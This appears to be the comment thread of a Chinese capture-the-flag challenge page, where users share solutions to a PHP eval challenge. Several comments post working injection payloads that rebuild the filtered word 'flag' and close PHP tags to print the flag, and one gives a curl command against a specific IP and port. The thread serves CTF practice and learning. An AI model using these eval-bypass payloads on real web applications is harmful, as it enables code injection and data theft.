评分(6)
解题动态
风掠 攻破了该题 1天前
1柒1 攻破了该题 2天前
小懒 攻破了该题 3天前
CCC1112 攻破了该题 3天前
gc 攻破了该题 3天前
不想起名 攻破了该题 4天前
KN11 攻破了该题 4天前
qiuke 攻破了该题 5天前
世界你好 攻破了该题 6天前
LakeFlasher 攻破了该题 7天前
chenlinXdb 攻破了该题 8天前
能工智人 攻破了该题 9天前
小楼一夜听春雨 攻破了该题 9天前
fjakjasdhfa 攻破了该题 10天前
qi1102 攻破了该题 11天前
暗流安全 攻破了该题 12天前
woshicaocao 攻破了该题 15天前
爱喝甜水 攻破了该题 15天前
suming 攻破了该题 16天前
评论
加州故事 27天前
举报
curl -G "http://160.202.254.160:17831/" \ --data-urlencode "flag=\$a='fla*';\$a{******}='g';?>11111111111111111;<\?=\$\$a;?>"
周文君 4月前
举报
?flag=$a='fla1';$a{********}='g';?><?=$$a;?>111111111111111111
suxiansheng 4月前
举报
闭合绕过 + 短标签输出 详情参考https://blog.csdn.net/wangsu327/article/details/161545391?spm=1011.2124.3001.6209
FTJJJ 6月前
举报
?flag=$a=~'%99%93%9E%98';?><?= $$a ?>aaaaaaaaaaaaaaaaaaaaaaaaaa
harry2025 9月前
举报
eval()内出现孤立<，必报unexpected '<'错误，无例外。
网恋秀牛子被录屏导致自卑 9月前
举报
考察了闭合，还有短标签
南交混的入朱靖宇 11月前
举报
flag被过滤，构建$a='fla1';$a{*********}='g'; // 把字符串的第 4 个字符改成 g题里要求：strlen($_GET['flag']) == strlen($exam)，而 $exam 的长度是 49。
Alune 11月前
举报
个人理解eval构造中存在<? ?> payload 第一个?>中与前一个闭合 而让后面的当作代码执行，不闭合的话后面就是<? <? ?> ?>代码嵌套代码了，会报错
孙谦的鸟岛 1年前
举报
孙千的**来咯
派大星CTF 1年前
举报
eavl()会开启新的php标签,而不是闭合第一行代码的标签所以需要结束eval里开启的标签，在开启一个php代码来执行输出$flag